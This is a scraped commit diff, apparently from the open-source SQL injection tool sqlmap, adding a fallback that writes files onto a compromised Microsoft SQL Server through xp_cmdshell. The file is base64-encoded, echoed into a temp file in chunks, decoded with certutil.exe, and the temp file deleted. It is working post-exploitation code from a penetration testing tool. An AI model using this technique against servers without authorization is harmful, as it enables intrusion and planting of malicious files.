Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 03f32ae

Browse files
committed
Merge of an Issue #1227
1 parent a94dcf9 commit 03f32ae

3 files changed

Lines changed: 41 additions & 2 deletions

File tree

doc/THANKS.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -621,6 +621,9 @@ abc abc, <biedimc(at)gmx.net>
621621
Abuse 007, <abuse007(at)gmail.com>
622622
* for reporting a bug
623623

624+
625+
* for contributing the file upload via certutil.exe functionality
626+
624627
Alex, <m3zero(at)gmail.com>
625628
* for reporting a minor bug
626629

lib/takeover/xp_cmdshell.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -142,13 +142,13 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
142142
charCounter += len(echoedLine)
143143

144144
if charCounter >= maxLen:
145-
self.xpCmdshellExecCmd(cmd)
145+
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
146146

147147
cmd = ""
148148
charCounter = 0
149149

150150
if cmd:
151-
self.xpCmdshellExecCmd(cmd)
151+
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
152152

153153
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
154154
# When user provides DBMS credentials (with --dbms-cred) we need to

plugins/dbms/mssqlserver/filesystem.py

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -337,6 +337,33 @@ def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
337337

338338
self.execCmd(complComm)
339339

340+
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
341+
infoMsg = "using certutil.exe to write the %s " % fileType
342+
infoMsg += "file content to file '%s', please wait.." % dFile
343+
logger.info(infoMsg)
344+
345+
chunkMaxSize = 500
346+
dFileName = ntpath.basename(dFile)
347+
348+
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
349+
randFilePath = "%s\%s" % (tmpPath, randFile)
350+
351+
encodedFileContent = base64encode(wFileContent)
352+
353+
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
354+
355+
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
356+
357+
self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)
358+
359+
logger.debug("decoding the file to %s.." % dFile)
360+
361+
commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile),
362+
"del /F /Q %s" % randFile)
363+
complComm = " & ".join(command for command in commands)
364+
365+
self.execCmd(complComm)
366+
340367
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
341368
# NOTE: this is needed here because we use xp_cmdshell extended
342369
# procedure to write a file on the back-end Microsoft SQL Server
@@ -371,4 +398,13 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
371398
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
372399
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
373400

401+
if written is False:
402+
message = "do you want to try to upload the file with "
403+
message += "the built-in certutil.exe technique? [Y/n] "
404+
choice = readInput(message, default="Y")
405+
406+
if not choice or choice.lower() == "y":
407+
self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType)
408+
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
409+
374410
return written

0 commit comments

Comments
 (0)